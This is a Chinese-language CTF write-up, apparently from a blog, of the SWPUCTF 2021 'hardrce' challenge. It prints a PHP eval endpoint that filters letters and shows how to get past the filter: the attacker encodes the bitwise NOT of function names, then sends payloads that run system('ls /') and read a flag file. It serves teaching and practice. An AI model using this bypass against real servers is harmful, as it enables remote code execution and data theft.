NSSCTF [SWPUCTF 2021 新生赛]hardrce
1.[NSSCTF 2022 Spring Recruit]ezgame2.NSSCTF [GXYCTF 2019]Ping Ping Ping
3.NSSCTF [SWPUCTF 2021 新生赛]hardrce
4.NSSCTF [SWPUCTF 2021 新生赛]easyupload3.05.Nssctf [SWPUCTF 2021 新生赛]error6.NSSCTF [SWPUCTF 2021 新生赛]pop7.NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php8.NSSCTF [SWPUCTF 2021 新生赛]crypto89.NSSCTF [HNCTF 2022 Week1]Interesting_include10.NSSCTF [鹤城杯 2021]EasyP11.NSSCTF [NISACTF 2022]babyserialize进入题目界面看见一串代码,先进行代码审计
<?php header("Content-Type:text/html;charset=utf-8"); error_reporting(0); highlight_file(__FILE__); if(isset($_GET['wllm'])) { $wllm = $_GET['wllm'];
//对wllm内容进行限制,过滤掉一下的特殊字符 $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $wllm)) { die("LTLT说不能用这些奇奇怪怪的符号哦!"); }} if(preg_match('/[a-zA-Z]/is',$wllm)) //进行正则匹配,过滤掉大小写字母 { die("Ra's Al Ghul说不能用字母哦!"); } echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?"; eval($wllm);//eval执行wllm,说明存在远程代码执行漏洞 } else { echo "蔡总说:注意审题!!!"; } ?>
通过对代码的分析,发现都是对与字母等特殊字符的限制,说明正常的绕过手段,双写,大小写,转义字符等都不能绕过,因为这些都需要字母,所以这里可以使用编码的方式来进行绕过。使用URL取反编码的方式,将我们需要执行的代码进行取反编码。取反是因为编码之后还会存在之母,而取反之后编码的数据将不再作为字母被识别。
取反符号 ' ~ '
<?php echo urlencode(~'phpinfo'); ?>
执行后得到这串数据:%8F%97%8F%96%91%99%90
构造playload·:/?wllm=(~%8F%97%8F%96%91%99%90)();
出现回显,代码执行成功,说明方法可行,下面就是构造需要执行的命令,并进行取反编码就好了。
<?php echo urlencode(~'system'); echo "\n"; echo urlencode(~'ls /');
?>
<?php echo urlencode(~'system'); echo "\n"; echo urlencode(~'cat /flllllaaaaaaggggggg'); ?>
成拿到flag啦
合集:
NSSCTF诺赛斯
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!